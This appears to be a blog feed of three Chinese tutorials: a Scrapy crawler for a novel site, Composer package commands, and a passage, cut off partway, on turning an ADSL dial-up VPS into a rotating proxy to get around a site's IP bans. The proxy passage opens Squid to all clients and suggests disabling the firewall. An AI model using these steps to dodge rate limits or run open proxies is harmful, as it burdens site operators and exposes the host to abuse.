0%

Python

这博文写得我懒癌犯了,最后的那个章节内容排序,我没有实验是否是正确的,不过这只是个教大家用 Scrapy 的教程,正确与否并不重要··· 如果不正确,记得留言;等我懒癌过了,我再改改······ 还有其它的问题也是一样··· ,把问题留言下; 等我懒癌过了·· 我改回来!嗯!是等我懒癌结束了,再改。 前面几篇博文,给大家从头到尾做了一个比较高效的爬虫,从这篇起来说说 Python 的爬虫框架 Scrapy; 至于为什么要说框架呢?因为啊,框架可以帮我们处理一部分事情,比如下载模块不用我们自己写了,我们只需专注于提取数据就好了; 最重要的一点啊!框架使用了异步的模式;可以加快我们的下载速度,而不用自己去实现异步框架;毕竟实现异步爬虫是一件比较麻烦的事情。 不过啊!反爬虫这个坎还是要我们自己迈过去啊!这是后话,以后再说。我们先来让 Scrapy 能跑起来,并提取出我们需要的数据,再解决其它问题。 官方文档在这儿:点我 9555112 环境搭建: 关于这一点,对在 Windows 环境下使用的小伙伴来说,请务必使用我之前提到的 Anaconda 这个 Python 的发行版本,不然光环境的各种报错就能消磨掉你所有的学习兴趣! 下载地址在这儿:http://pan.baidu.com/s/1pLgySav 安装完成之后,在 cmd 中执行:conda install Scrapy (如果需要使用特定版本,请在 Scrapy 后面加上 ==XXXX XXXX 代表你需要的版本号) 下面是安装示意图: 安装Scrapy So Easy@@!环境搭建完成!是不是超简单?全程无痛啊! 下面开始踏上新的征程!Go Go Go!! 使用 Scrapy 第一步:创建项目;CMD 进入你需要放置项目的目录 输入:

1
scrapy startproject XXXXX             XXXXX代表你项目的名字

创建项目 OK 项目创建完成。现在可以开始我们的爬取之旅了! 下面是目录中各个文件的作用 各个文件的作用 好了,目录我们认识完了,在开始之前给大家一个小技巧,Scrapy 默认是不能在 IDE 中调试的,我们在根目录中新建一个 py 文件叫:entrypoint.py;在里面写入以下内容:

1
2
from scrapy.cmdline import execute
execute(['scrapy', 'crawl', 'dingdian'])

注意!第二行中代码中的前两个参数是不变的,第三个参数请使用自己的 spider 的名字。稍后我会讲到!! 现在整个目录看起来是这样: 快捷启动 基础工作准备完毕!我们来说说基本思路。 上面的准备工作完成之后,我们先不要着急开始工作,毕竟作为一个框架,还是很复杂的;贸然上手 开整,很容易陷入懵逼状态啊!一团浆糊,理不清思路,后面的事情做起来很很麻烦啦! 我们来看看下面这张图: scrapy_architecture 这就是整个 Scrapy 的架构图了; Scrapy Engine: 这是引擎,负责 Spiders、ItemPipeline、Downloader、Scheduler 中间的通讯,信号、数据传递等等!(像不像人的身体?) Scheduler(调度器): 它负责接受引擎发送过来的 requests 请求,并按照一定的方式进行整理排列,入队、并等待 Scrapy Engine(引擎)来请求时,交给引擎。 Downloader(下载器):负责下载 Scrapy Engine(引擎)发送的所有 Requests 请求,并将其获取到的 Responses 交还给 Scrapy Engine(引擎),由引擎交给 Spiders 来处理, Spiders:它负责处理所有 Responses,从中分析提取数据,获取 Item 字段需要的数据,并将需要跟进的 URL 提交给引擎,再次进入 Scheduler(调度器), Item Pipeline:它负责处理 Spiders 中获取到的 Item,并进行处理,比如去重,持久化存储(存数据库,写入文件,总之就是保存数据用的) Downloader Middlewares(下载中间件):你可以当作是一个可以自定义扩展下载功能的组件 Spider Middlewares(Spider 中间件):你可以理解为是一个可以自定扩展和操作引擎和 Spiders 中间‘通信‘的功能组件(比如进入 Spiders 的 Responses;和从 Spiders 出去的 Requests) 数据在整个 Scrapy 的流向: 程序运行的时候, 引擎:Hi!Spider, 你要处理哪一个网站? Spiders:我要处理 23wx.com 引擎:你把第一个需要的处理的 URL 给我吧。 Spiders:给你第一个 URL 是 XXXXXXX.com 引擎:Hi!调度器,我这有 request 你帮我排序入队一下。 调度器:好的,正在处理你等一下。 引擎:Hi!调度器,把你处理好的 request 给我, 调度器:给你,这是我处理好的 request 引擎:Hi!下载器,你按照下载中间件的设置帮我下载一下这个 request 下载器:好的!给你,这是下载好的东西。(如果失败:不好意思,这个 request 下载失败,然后引擎告诉调度器,这个 request 下载失败了,你记录一下,我们待会儿再下载。) 引擎:Hi!Spiders,这是下载好的东西,并且已经按照 Spider 中间件处理过了,你处理一下(注意!这儿 responses 默认是交给 def parse 这个函数处理的Spiders:(处理完毕数据之后对于需要跟进的 URL),Hi!引擎,这是我需要跟进的 URL,将它的 responses 交给函数 def xxxx(self, responses)处理。还有这是我获取到的 Item。 引擎:Hi !Item Pipeline 我这儿有个 item 你帮我处理一下!调度器!这是我需要的 URL 你帮我处理下。然后从第四步开始循环,直到获取到你需要的信息, 注意!只有当调度器中不存在任何 request 了,整个程序才会停止,(也就是说,对于下载失败的URL,Scrapy 会重新下载。) 以上就是 Scrapy 整个流程了。 QQ图片20161022193315 大家将就着看看。 建立一个项目之后: 第一件事情是在 items.py 文件中定义一些字段,这些字段用来临时存储你需要保存的数据。方便后面保存数据到其他地方,比如数据库 或者 本地文本之类的。 第二件事情在 spiders 文件夹中编写自己的爬虫 第三件事情在 pipelines.py 中存储自己的数据 还有一件事情,不是非做不可的,就 settings.py 文件 并不是一定要编辑的,只有有需要的时候才会编辑。 建议一点:在大家调试的时候建议大家在 settings.py 中取消下面几行的注释: 设置setting01 这几行注释的作用是,Scrapy 会缓存你有的 Requests!当你再次请求时,如果存在缓存文档则返回缓存文档,而不是去网站请求,这样既加快了本地调试速度,也减轻了 网站的压力。一举多得 第一步定义字段: 好了,我们来做 第一步 定义一些字段;那具体我们要定义那些字段呢? 这个根据自己需要的提取的内容来定义。 比如:我们爬取小说站点都需要提取些什么数据啊? 小说名字、作者、小说地址、连载状态、连载字数、文章类别 就像下面这样: Scrapy01 这样我们第一步就完成啦!是不是 So Easy?ヾ(´▽‘)ノ ; 下面开始重点了哦!编写 spider(就是我们用来提取数据的爬虫了) 第二步编写 Spider: 在 spiders 文件中新建一个 dingdian.py 文件 并导入我们需用的模块 Scrapy02 PS:Scrapy 中 Response 可以直接使用 Xpath 来解析数据;不过大家也可以使用自己习惯的包,比如我导入的 BS4 、re ;当然也可以使其他比如 pyquery 之类的。这个并没有什么限制 另外或许个别小伙伴会遇到 from dingdian.items import DingdianItem 这个导入失败的情况;可以试试把项目文件移动到根目录。 Request 这个模块可以用来重写单独请求一个 URL,用于我们后面跟进 URL。 好了开整;首先我们需要什么? 我们需要从一个地址入手开始爬取,我在顶点小说上没有发现有全站小说地址,但是我找到每个分类地址全部小说: 玄幻魔幻:http://www.23wx.com/class/1_1.html 武侠修真:http://www.23wx.com/class/2_1.html 都市言情:http://www.23wx.com/class/3_1.html 历史军事:http://www.23wx.com/class/4_1.html 侦探推理:http://www.23wx.com/class/5_1.html 网游动漫:http://www.23wx.com/class/6_1.html 科幻小说:http://www.23wx.com/class/7_1.html 恐怖灵异:http://www.23wx.com/class/8_1.html 散文诗词:http://www.23wx.com/class/9_1.html 其他:http://www.23wx.com/class/10_1.html 全本:http://www.23wx.com/quanben/1 好啦!入口地址我们找到了,现在开始写第一部分代码: 当然对于上面的地址,我们是可以直接全使用 Start_urls 这种列表全部请求,不过并不太美观,我需要把其中,有规律的部分,单独其他方式实现,比如字典之类的: Scrapy22 第十行:首先我们创建一个类 Myspider;这个类继承自 scrapy.Spider(当然还有一些其他父类,继承各个父类后能实现的功能不一样); 第十二行:我们定义 name:dingdian (请注意,这 name 就是我们在 entrypoint.py 文件中的第三个参数!)!!!!请务必注意:此 Name 的!名字!在整个项目中有且只能有一个、名字不可重复!!!! 第十一行:我们定义了一个 allowed_domains;这个不是必须的;但是在某写情况下需要用得到,比如使用爬取规则的时候就需要了;它的作用是只会跟进存在于 allowed_domains 中的 URL。不存在的 URL 会被忽略。 第十七行到第十九行:我们使用字符串拼接的方式实现了我们上面发现的全部 URL。 第二十行和二十一行:我们使用了导入的 Request 包,来跟进我们的 URL(并将返回的 response 作为参数传递给 self.parse, 嗯!这个叫回调函数!) 第二十三行:使用 parse 函数接受上面 request 获取到的 response。(请务必注意:不要轻易改写 parse 函数(意思就是不要把 parse 函数用作它用);因为这样 request 的回调函数被你用了,就没谁接受 request 返回的 response 啦!如果你非要用作它用,则需要自己给 request 一个回调函数哦!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import re
import scrapy #导入scrapy包
from bs4 import BeautifulSoup
from scrapy.http import Request ##一个单独的request的模块,需要跟进URL的时候,需要用它
from dingdian.items import DingdianItem ##这是我定义的需要保存的字段,(导入dingdian项目中,items文件中的DingdianItem类)

class Myspider(scrapy.Spider):

name = 'dingdian'
allowed_domains = ['23wx.com']
bash_url = 'http://www.23wx.com/class/'
bashurl = '.html'

def start_requests(self):
for i in range(1, 11):
url = self.bash_url + str(i) + '_1' + self.bashurl
yield Request(url, self.parse)
yield Request('http://www.23wx.com/quanben/1', self.parse)

def parse(self, response):
print(response.text)

我们测试一下是否正常工作:在 IDE 中运行我们之前创建的 entrypoint.py 文件(如果没有这个文件是不能在 IDE 中运行的哦!ヽ(=^・ω・^=)丿) 然后会像这样: Spider编写03 你会发现在红色状态报告之后,所有页面几乎是一瞬间出现的;那是因为 Scrapy 使用了异步啦!ヽ(°◇° )ノ 另外因为 Scrapy 遵循了 robots 规则,如果你想要获取的页面在 robots 中被禁止了,Scrapy 是会忽略掉的哦!!ヾ(。 ̄ □  ̄)ツ゜゜゜ 请求就这么轻而易举的实现了啊!简直 So Easy! 继续 继续! 我们需要历遍所有页面才能取得所有的小说页面连接: 分析网页2 分析网页01 每个页面的这个位置都是最后一个页面,我们提取出它,历遍就可以拼接出一个完整的 URL 了ヾ§  ̄ ▽)ゞ 2333333 Go Go Scrapy20 第二十三行:def parse(self, response)这个函数接受来在二十一行返回的 response,并处理。 第二十四行:我们使用 BS4 从 response 中获取到了最大页码。 第二十五行至二十七行:我们照例拼接了一个完整的 URL(response.url:就是这个 response 的 URL 地址) 第二十八行:功能和第二十行一样,callback= 是指定回调函数,不过不写 callback=也没有什么影响! 注意我只是说的 callback=这个几个;不是后面的 self.get_name. 看清楚了 response 是怎么用的没?ヾ§  ̄ ▽)ゞ 2333333 是不是 So Easy? 如果不清楚那个拼接 URL 的小伙伴可以打印出来,看看哦··· 再去观察一下网页,就很明白啦 上面两个函数就彻底的把整个网站的所有小说的页面 URL 的提取出来了,并将每个页面的 response 交给了 get_name 函数处理哦! 现在我们的爬虫就开始处理具体的小说了哦: Scrapy07 瞅见没 我们需要的东西,快用 F12 工具看一下吧,在什么位置有什么标签,可以方便我们提取数据。还不知道怎么看的小伙伴,去看看妹子图那个教程,有教哦;实在不行百度一下也行! 过程忽略了,直接上代码(主要是懒癌来了): Scrapy09 前面三行不说了, 第三十七和三十八行:是我们的小说名字和 URL 第三十九行和第四十行;大伙儿可能会发现,多了个一个 meta 这么一个字典,这是 Scrapy 中传递额外数据的方法。因我们还有一些其他内容需要在下一个页面中才能获取到。 下面我的爬虫进入了这个页面: Scrapy10 这个页面就有很多我们需要的信息了:废话不说了代码上来: Scrapy11 第四十行:将我们导入的 item 文件进行实例化,用来存储我们的数据。 后面全部:将需要的数据,复制给 item[key] (注意这儿的 Key 就是我们前面在 item 文件中定义的那些字段。) 注意!response.meta[key]:这个是提取从上一个函数传递下来的值。 return item 就是返回我们的字典了,然后 Pipelines 就可以开始对这些数据进行处理了。比如 存储之类的。 好啦,Spiders 我们先编写到这个地方。(是不是有小伙伴发现我还有几个字段没有取值?当然留着你们自己试试了,哈哈哈ヽ(=^・ω・^=)丿)后面再继续。 我现在教教大家怎么处理这些数据:对头就是说说 Pipeline 了: 对于基本的 Pipeline 存储方式,网上有很多教程了,今天我们做一个自定义的 MySQL 的 Pipeline: 首先为了能好区分框架自带的 Pipeline,我们把 MySQL 的 Pipeline 单独放到一个目录里面。 Scrapy12 我们在项目中新建了一个 mysqlpipelines 的文件夹,我们所有的 MySQL 文件都放在这个目录。 init.py 这个文件不需要我说了吧,不知道做啥的小哥儿自己百度。 pipelines.py 这个是我们写存放数据的文件 sql.py 看名字就知道,需要的 sql 语句。 首先是需要的 MySQL 表,(MySQL 都没有的小哥儿 自己百度装一个啊,我就不教了)

1
2
3
4
5
6
7
8
9
DROP TABLE IF EXISTS `dd_name`;
CREATE TABLE `dd_name` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`xs_name` varchar(255) DEFAULT NULL,
`xs_author` varchar(255) DEFAULT NULL,
`category` varchar(255) DEFAULT NULL,
`name_id` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=38 DEFAULT CHARSET=utf8mb4;

首先我们再 settings.py 文件中定义好 MySQL 的配置文件(当然你也可以直接定义在 sql.py 文件中): MySQL setting PS :注意 MySQL 的默认端口是 3306;我自己的 MySQL 改成了 3389。这儿各位酌情自己更改。 在开始写 sql.py 之前,我们需要安装一个 Python 操作 MySQL 的包,来自 MySQL 官方的一个包:点我下载 下载完成后解压出来,从 CMD 进入该目录的绝对路径,然后 Python setup.py install ;即可完成安装 下面是我们的 sql.py 文件: sql01 第一行至第二行分别导入了:我的 MySQL 操作包,settings 配置文件 第四行至第八行 : 从 settings 配置文件中获取到了,我们的 MySQL 配置文件 第十行至第十一行: 初始化了一个 MySQL 的操作游标 第十三行: 定义了一个 Sql 的类 第十六行至第二十五行:定义了一个函数,将函数中的四个变量写入数据库(这四个变量就是我们后面传进来的需要存储的数据。) 关于@classmethod 这个是一个修饰符;作用是我们不需要初始化类就可以直接调用类中的函数使用(具体说起来麻烦,知道作用就好啦) 好了第一部分写完了,我们还需要一个能够去重的: sql01 这一段代码会查找 name_id 这个字段,如果存在则会返回 1 不存在则会返回 0 Nice!sqi.py 这一部分我们完成,来开始写 pipeline 吧: pipeline02 第一行至第二行:我们导入了之前编写的 sql.py 中的 Sql 类,和我们建立的 item 第六行:建立了一个 DingdianPipeline 的类(别忘了一定要继承 object 这个类啊,这是做啥的不用多了解,说多了你们头晕,我也懒) 第八行:我们定义了一个 process_item 函数并有,item 和 spider 这两个参数(请注意啊!这两玩意儿 务必!!!要加上!!千万不能少!!!!务必!!!务必!!!) 第十行:你这样理解如果在 item 中存在 DingdianItem;就执行下面的。 第十一行:从 item 中取出 name_id 的值。 第十二行:调用 Sql 中的 select_name 函数获得返回值 第十三行:判断 ret 是否等于 1 ,是的话证明已经存了 第二十行:调用 Sql 中的 insert_dd_name 函数,存储上面几个值。 搞完!下面我们启用这个 Pipeline 在 settings 中作如下设置: setting02 PS: dingdian(项目目录).mysqlpipelines(自己建立的 MySQL 目录).pipelines(自己建立的 pipelines 文件).DingdianPipeline(其中定义的类) 后面的 1 是优先级程度(1-1000 随意设置,数值越低,组件的优先级越高) 好!我们来运行一下试试!!Go Go Go! scrapy15 Nice!!完美!!我之前运行过了 所以提示已经存在。 scrapy17 下面我们开始还剩下的一些内容获取:小说章节 和章节内容 首先我们在 item 中新定义一些需要获取内容的字段: scrapy16 代码不解释了哦!(懒癌来了,写不下去了) 继续编写 Spider 文件: scrapy18 请注意我图中画红框的的地方,这个地方返回 item 是不能用 return 的哦!用了就结束了,程序就不会继续下去了,得用 yield(你知道就行,这玩意儿说起来麻烦。) 第五十八行: num 这个变量的作用是 因为 Scrapy 是异步的方式运作,你采集到的章节顺序都是混乱的,需要给它有序的序列,我们按照这个排序就能得到正确的章节顺序啦 请注意在顶部导入定义的第二个 item 类! 下面我们来写存储这部分 spider 的 Pipeline: 数据表:

1
2
3
4
5
6
7
8
9
10
11
DROP TABLE IF EXISTS `dd_chaptername`;
CREATE TABLE `dd_chaptername` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`xs_chaptername` varchar(255) DEFAULT NULL,
`xs_content` text,
`id_name` int(11) DEFAULT NULL,
`num_id` int(11) DEFAULT NULL,
`url` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2726 DEFAULT CHARSET=gb18030;
SET FOREIGN_KEY_CHECKS=1;

Sql.py: Scrapy13 Scrapy14 不解释了哦! 下面是 Pipeline: scrapy21 有小伙伴注意,这儿比上面一个 Pipeline 少一个判断,因为我把判断移动到 Spider 中去了,这样就可以减少一次 Request,减轻服务器压力。 改变后的 Spider 长这样: Scrapy16 别忘了在 spider 中导入 Sql 哦!ヾ(。 ̄ □  ̄)ツ゜゜゜ 到此收工!!!! 至于小说图片,因为 Scrapy 的图片下载管道,是自动以 md5 命名,而且感觉不爽··· 后面单独写一个异步下载的脚本··· https://github.com/thsheep/dingdian

PHP

这篇文章主要介绍一些常用的包管理命令以及包的版本如何进行约束。

常用命令

require命令

在《Composer快速入门》中已经简单介绍过使用install命令安装依赖的方式。除了install命令,我们还可以使用require命令快速的安装一个依赖而不需要手动在composer.json里添加依赖信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ composer require monolog/monolog
Using version ^1.19 for monolog/monolog
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
- Installing psr/log (1.0.0)
Downloading: 100%

- Installing monolog/monolog (1.19.0)
Downloading: 100%

monolog/monolog suggests installing graylog2/gelf-php (Allow sending log messages to a GrayLog2 server)
......
monolog/monolog suggests installing php-console/php-console (Allow sending log messages to Google Chrome)
Writing lock file
Generating autoload files

Composer会先找到合适的版本,然后更新composer.json文件,在require那添加monolog/monolog包的相关信息,再把相关的依赖下载下来进行安装,最后更新composer.lock文件并生成php的自动加载文件。

update命令

通过update命令,可以更新项目里所有的包,或者指定的某些包。

1
2
3
4
5
6
7
8
9
10
11
# 更新所有依赖
$ composer update

# 更新指定的包
$ composer update monolog/monolog

# 更新指定的多个包
$ composer update monolog/monolog symfony/dependency-injection

# 还可以通过通配符匹配包
$ composer update monolog/monolog symfony/*

需要注意的时,包能升级的版本会受到版本约束的约束,包不会升级到超出约束的版本的范围。例如如果composer.json里包的版本约束为^1.10,而最新版本为2.0。那么update命令是不能把包升级到2.0版本的,只能最高升级到1.x版本。关于版本约束请看后面的介绍。

remove命令

使用remove命令可以移除一个包及其依赖(在依赖没有被其他包使用的情况下):

1
2
3
4
5
6
7
$ composer remove monolog/monolog
Loading composer repositories with package information
Updating dependencies (including require-dev)
- Removing monolog/monolog (1.19.0)
- Removing psr/log (1.0.0)
Writing lock file
Generating autoload files

search命令

使用search命令可以进行包的搜索:

1
2
3
4
5
$ composer search monolog
monolog/monolog Sends your logs to files, sockets, inboxes, databases and various web services

# 如果只是想匹配名称可以使用--only-name选项
$ composer search --only-name monolog

show命令

使用show命令可以列出项目目前所安装的包的信息:

1
2
3
4
5
6
7
8
# 列出所有已经安装的包
$ composer show

# 可以通过通配符进行筛选
$ composer show monolog/*

# 显示具体某个包的信息
$ composer show monolog/monolog

以上是常用命令的介绍。

版本约束

前面说到,我们可以指定要下载的包的版本。例如我们想要下载版本1.19的monolog。我们可以通过composer.json文件:

1
2
3
4
5
{
"require": {
"monolog/monolog": "1.19"
}
}

然后运行install命令,或者通过require命令达到目的:

1
2
3
4
5
6
7
$ composer require monolog/monolog:1.19

# 或者
$ composer require monolog/monolog=1.19

# 或者
$composer require monolog/monolog 1.19

除了像上面那样指定具体的版本,我们还可以通过不同的约束方式去指定版本。

基本约束

精确版本

可以指定具体的版本,告诉Composer只能安装这个版本。但是如果其他的依赖需要用到其他的版本,则包的安装或者更新最后会失败并终止。 例子:1.0.2

范围

使用比较操作符你可以指定包的范围。这些操作符包括:\>\>=<<=!=。 你可以定义多个范围,使用空格 或者逗号,表示逻辑上的与,使用双竖线||表示逻辑上的或。其中与的优先级会大于或。

需要注意的是,使用没有边界的范围有可能会导致安装不可预知的版本,并破坏向下的兼容性。建议使用折音号操作符。

例子:

  • \>=1.0
  • \>=1.0 <2.0
  • \>=1.0 <1.1 || >=1.2

范围(使用连字符)

带连字符的范围表明了包含的版本范围,意味着肯定是有边界的。其中连字符的左边表明了\>=的版本,而连字符的右边情况则稍微有点复杂。如果右边的版本不是完整的版本号,则会被使用通配符进行补全。例如1.0 - 2.0等同于\>=1.0.0 <2.12.0相当于2.0.*),而1.0.0 - 2.1.0则等同于\>=1.0.0 <=2.1.0。 例子:1.0 - 2.0

通配符

可以使用通配符去定义版本。1.0.*相当于\>=1.0 <1.1。 例子:1.0.*

下一个重要版本操作符

波浪号~

我们先通过后面这个例子去解释~操作符的用法:~1.2相当于\>=1.2 <2.0.0,而~1.2.3相当于\>=1.2.3 <1.3.0。对于使用Semantic Versioning作为版本号标准的项目来说,这种版本约束方式很实用。例如~1.2定义了最小的小版本号,然后你可以升级2.0以下的任何版本而不会出问题,因为按照Semantic Versioning的版本定义,小版本的升级不应该有兼容性的问题。简单来说,~定义了最小的版本,并且允许版本的最后一位版本号进行升级(没懂得话,请再看一边前面的例子)。 例子:~1.2

需要注意的是,如果~作用在主版本号上,例如~1,按照上面的说法,Composer可以安装版本1以后的主版本,但是事实上是~1会被当作~1.0对待,只能增加小版本,不能增加主版本。

折音号^

^操作符的行为跟Semantic Versioning有比较大的关联,它允许升级版本到安全的版本。例如,^1.2.3相当于\>=1.2.3 <2.0.0,因为在2.0版本前的版本应该都没有兼容性的问题。而对于1.0之前的版本,这种约束方式也考虑到了安全问题,例如^0.3会被当作\>=0.3.0 <0.4.0对待。 例子:^1.2.3

版本稳定性

如果你没有显式的指定版本的稳定性,Composer会根据使用的操作符,默认在内部指定为\-dev或者\-stable。例如:

约束

内部约束

1.2.3

\=1.2.3.0-stable

>1.2

>1.2.0.0-stable

>=1.2

>=1.2.0.0-dev

>=1.2-stable

>=1.2.0.0-stable

<1.3

<1.3.0.0-dev

<=1.3

<=1.3.0.0-stable

1 - 2

>=1.0.0.0-dev <3.0.0.0-dev

~1.3

>=1.3.0.0-dev <2.0.0.0-dev

1.4.*

>=1.4.0.0-dev <1.5.0.0-dev

如果你想指定版本只要稳定版本,你可以在版本后面添加后缀\-stableminimum-stability 配置项定义了包在选择版本时对稳定性的选择的默认行为。默认是stable。它的值如下(按照稳定性排序):devalphabetaRCstable。除了修改这个配置去修改这个默认行为,我们还可以通过稳定性标识(例如@stable@dev)来安装一个相比于默认配置不同稳定性的版本。例如:

1
2
3
4
5
6
{
"require": {
"monolog/monolog": "1.0.*@beta",
"acme/foo": "@dev"
}
}

以上是版本约束的介绍

参考

Python

2022 年最新 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

如下为原文。

提示

本教程方法已不是最优,最新解决方案请移步 http://cuiqingcai.com/4596.html

那夜

那是一个寂静的深夜,科比还没起床练球,虽然他真的可能不练了。 我废了好大劲,爬虫终于写好了!BUG 也全部调通了!心想,终于可以坐享其成了! 泡杯茶,安静地坐在椅子上看着屏幕上一行行文字在控制台跳出,一条条数据嗖嗖进入我的数据库,一张张图片悄悄存入我的硬盘。人生没有几个比这更惬意的事情了。 我端起茶杯,抿了一口,静静地回味着茶香。 这时,什么情况!屏幕爆红了!爆红了!一口茶的功夫啊喂! 怎么回事!咋爬不动了,不动了!我用浏览器点开那一个个报错的链接,浏览器显示

您的请求过于频繁,IP 已经被暂时封禁,请稍后再试!

沃日,我 IP 被封了?此时此刻,空气凝固了,茶也不再香了,请给我一个爱的抱抱啊。 时候不早了,还是洗洗睡吧。

次日

那一晚,辗转反侧难以入睡。 怎么办?怎么办?如果是你你该怎么办? 手动换个 IP?得了吧,一会又要封了,还能不能安心睡觉啊? 找免费代理?可行,不过我之前测过不少免费代理 IP,一大半都不好用,而且慢。不过可以一直维护一个代理池,定时更新。 买代理?可以可以,不过优质的代理服务商价格可是不菲的,我买过一些廉价的,比如几块钱套餐一次提取几百 IP 的,算了还是不说了都是泪。 然而最行之有效的方法是什么?那当然是 ADSL 拨号! 这是个啥?且听我慢慢道来。

什么是 ADSL

ADSL (Asymmetric Digital Subscriber Line ,非对称数字用户环路)是一种新的数据传输方式。它因为上行和下行带宽不对称,因此称为非对称数字用户线环路。它采用频分复用技术把普通的电话线分成了电话、上行和下行三个相对独立的信道,从而避免了相互之间的干扰。 他有个独有的特点,每拨一次号,就获取一个新的 IP。也就是它的 IP 是不固定的,不过既然是拨号上网嘛,速度也是有保障的,用它搭建一个代理,那既能保证可用,又能自由控制拨号切换。 如果你是用的 ADSL 上网方式,那就不用过多设置了,直接自己电脑调用一个拨号命令就好了,自动换 IP,分分钟解决封 IP 的事。 然而,你可能说?我家宽带啊,我连得公司无线啊,我蹭的网上的啊!那咋办? 这时,你就需要一台 VPS 拨号主机。

购买服务器

某度广告做的那么好是吧?一搜一片,这点谷歌可是远远比不上啊。 于是乎,我就搜了搜,键入:拨号服务器,有什么骑士互联啊、无极网络啊、挂机宝啊等等的。我选了个价钱还凑合的,选了个无极网络(这里不是在打广告),80 一个月的配置,一天两块钱多点。 2 核、512M 内存,10M 带宽。 云立方 大家觉得有更便宜的更好用请告诉我呀! 接下来开始装操作系统,进入后台,有一个自助装系统的页面。 QQ20161121-0 我装的 CentOS 的,在后面设置代理啊,定时任务啊,远程 SSH 管理啊之类的比较方便。如果你想用 Windows,能配置好代理那也没问题。 有的小伙伴可能会问了,既然它的 IP 是拨号变化的,你咋用 SSH 连?其实服务商提供了一个域名,做了动态解析和端口映射,映射到这台主机的 22 端口就好了,所以不用担心 IP 变化导致 SSH 断开的问题。 好了装好了服务器之后,服务商提供了一个 ADSL 的拨号操作过程,用 pppoe 命令都可以完成,如果你的是 Linux 的主机一般都是用这个。然后服务商还会给给你一个拨号账号和密码。 那么接下来就是试下拨号了。 服务商会提供详细的拨号流程说明。 比如无极的是这样的: 拨号流程 设置好了之后,就有几个关键命令:

1
2
3
pppoe-start 拨号
pppoe-stop 断开拨号
pppoe-status 拨号连接状态

如果想重新拨号,那就执行 stop、start 就可以了。 反复执行,然后查看下 ip 地址,你会发现拨号一次换一个 IP,是不是爽翻了! 好,那接下来就设置代理吧。

设置代理服务器

之前总是用别人的代理,没自己设置过吧?那么接下来我们就来亲自搭建 HTTP 代理。 Linux 下搭建 HTTP 代理,推荐 Squid 和 TinyProxy。都非常好配置,你想用哪个都行,且听我慢慢道来。 我的系统是 CentOS,以它为例进行说明。

Squid

首先利用 yum 安装 squid

1
yum -y install squid

设置开机启动

1
chkconfig --level 35 squid on

修改配置文件

1
vi /etc/squid/squid.conf

修改如下几个部分:

1
2
3
http_access allow !Safe_ports    #deny改成allow
http_access allow CONNECT !SSL_ports #deny改成allow
http_access allow all #deny改成allow

其他的不需要过多配置。 启动 squid

1
sudo service squid start

如此一来配置就完成了。 代理使用的端口是 3128

TinyProxy

首先添加一下镜像源,然后安装

1
2
3
rpm -Uvh http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
yum update
yum install tinyproxy

修改配置

1
vi /etc/tinyproxy/tinyproxy.conf

可以修改端口和允许的 IP,如果想任意主机都连接那就把 Allow 这一行注释掉。

1
2
3
4
Port 8888 #预设是8888 Port,你可以更改
Allow 127.0.0.1 #将127.0.0.1改成你自己的IP
#例如你的IP 是1.2.3.4,你改成Allow 1.2.3.4,那只有你才可以连上这个Proxy
#若你想任何IP都可以脸到Proxy在Allow前面打#注释

启动 TinyProxy

1
service tinyproxy start

好了,两个代理都配置好了。 你想用那个都可以! 不过你以为这样就完了吗?太天真了,我被困扰了好几天,怎么都连不上,我还在怀疑是不是我哪里设置得不对?各种搜,一直以为是哪里配置有遗漏,后来发现是 iptables 的锅,万恶的防火墙。踩过的的坑,那就不要让大家踩了,用下面的命令设置下 iptables,放行 3128 和 8888 端口就好了。

1
2
3
4
5
6
service iptables save
systemctl stop firewalld
systemctl disable firewalld
systemctl start iptables
systemctl status iptables
systemctl enable iptables

修改 iptables 配置

1
vi /etc/sysconfig/iptables

1
-A IN_public_allow -p tcp -m tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT

的下面添加两条规则

1
2
-A IN_public_allow -p tcp -m tcp --dport 3128 -m conntrack --ctstate NEW -j ACCEPT
-A IN_public_allow -p tcp -m tcp --dport 8888 -m conntrack --ctstate NEW -j ACCEPT

如图所示 QQ20161121-0@2x 保存,然后重启 iptables

1
sudo service iptabels restart

输入 ifconfig 得到 IP 地址,在其他的主机上输入

1
curl -x IP:8888 www.baidu.com

测试一下,如果能出现结果,那就说明没问题。 QQ20161121-1@2x 如果怎么配都连不上,那干脆关了你的防火墙吧。虽然不推荐。

连接代理

接下来才是重头戏,你咋知道你的服务器 IP 现在到底是多少啊?拨一次号 IP 就换一次,那这还了得? 如果服务商提供了端口映射!那一切都解决了!直接用端口映射过去就好了。然而,我的并没有。 自力更生,艰苦创业! 首先我研究了一下 DDNS 服务,也就是动态域名解析。即使你的 IP 在变化,那也可以通过一个域名来映射过来。 原理简单而统一:当前拨号主机定时向一个固定的服务器发请求,服务器获取 remote_addr 就好了,可以做到定时更新和解析。 那么我找了一下,国内做的比较好的就是花生壳了,然后又找到了 DNSPOD 的接口解析。 下面简单说下我的折腾过程,大家可以先不用试,后面有更有效的方法。

花生壳

现在花生壳出到 3.0 版本了,有免费版和付费版之分,我就试用了一下免费版的。这里是花生壳的一些配置和下载: 花生壳配置 下载花生壳客户端之后,会生成 SN 码,用这个在花生壳的官网登录后,会分配给你一个免费的域名。 接下来这个域名就能解析到你的主机了。

DNSPOD

